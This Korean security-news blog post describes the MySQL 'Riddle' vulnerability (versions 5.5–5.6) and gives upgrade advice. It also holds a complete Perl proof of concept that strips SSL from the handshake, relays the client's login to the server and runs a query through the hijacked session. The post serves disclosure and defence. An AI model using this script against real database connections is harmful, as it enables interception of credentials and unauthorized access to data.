포스팅 내용

국내외 보안동향

MySQL Riddle 취약점 발견

MySQL Riddle 취약점 발견


Riddle 취약점은 DBMS Oracle MySQL에 존재하는 것으로, 공격자는 해당 취약점을 악용하여 중간자 신분으로 사용자 계정정보를 탈취할 수 있습니다. 


Riddle은 Oracle MySQL 5.5와 5.6 클라이언트 DB에서 발견된 고위험 취약점입니다. 공격자는 Riddle 취약점을 악용하여 서버와 클라이언트 간 주고받는 정보를 탈취할 수 있습니다. 해당 취약점은 MySQL DB중 BACKRONYM 취약점이 수정되지 않았기 때문에 발생합니다.



영향받는 버전


MySQL 5.5~5.6



PoC


#!/usr/bin/perl


use strict;

use warnings;


use IO::Socket::INET;


my $lsock = IO::Socket::INET->new(Listen => 1, LocalAddr => '127.0.0.1', LocalPort => 3307, Proto => 'tcp', Reuse => 1) or die;

my $csock = $lsock->accept() or die;

my $ssock = IO::Socket::INET->new(PeerAddr => '127.0.0.1', PeerPort => 3306, Proto => 'tcp') or die;


sub mread {

my ($sock) = @_;

my $len;

$sock->read($len, 3) or die;

my ($l1, $l2, $l3) = unpack('CCC', $len);

my $l = $l1 | $l2 << 8 | $l3 << 16;

my $data;

$sock->read($data, $l+1) or die;

substr($data, 1, 1) eq "\xFF" and die substr($data, 10);

return wantarray ? ($len, $data) : $data;

}


my $slen;

my $sdata;

my $clen;

my $cdata;


($slen, $sdata) = mread($ssock);

my $cap = pack('C', unpack('C', substr($sdata, 49, 1)) & 0xF7); # turn off "switch to ssl"

substr($sdata, 49, 1) = $cap;


$csock->write($slen . $sdata) or die;


($clen, $cdata) = mread($csock);

$csock->write("\x23\x00\x00" . "\x02" . "\xff\x15\x04" . "\x23\x32\x38\x30\x30\x30" . "Access denied: MITM attack");

$csock->close();


$ssock->write($clen . $cdata) or die;

mread($ssock);


$ssock->write("\x2F\x00\x00" . "\x00" . "\x03" . "SELECT COUNT(*) FROM information_schema.TABLES") or die;

mread($ssock);

mread($ssock);

mread($ssock);

$sdata = mread($ssock);

print "SELECT COUNT(*) FROM information_schema.TABLES --> " . substr($sdata, 1) . "\n";

mread($ssock);


$ssock->write("\x01\x00\x00" . "\x00" . "\x01") or die;

$ssock->close();



해결방법


MySQL 5.7로 업데이트

Maria DB로 업데이트







참고 :

http://securityaffairs.co/wordpress/58019/hacking/oracle-mysql-riddle-vulnerability.html

http://riddle.link/riddle.pl

티스토리 방명록 작성
name password homepage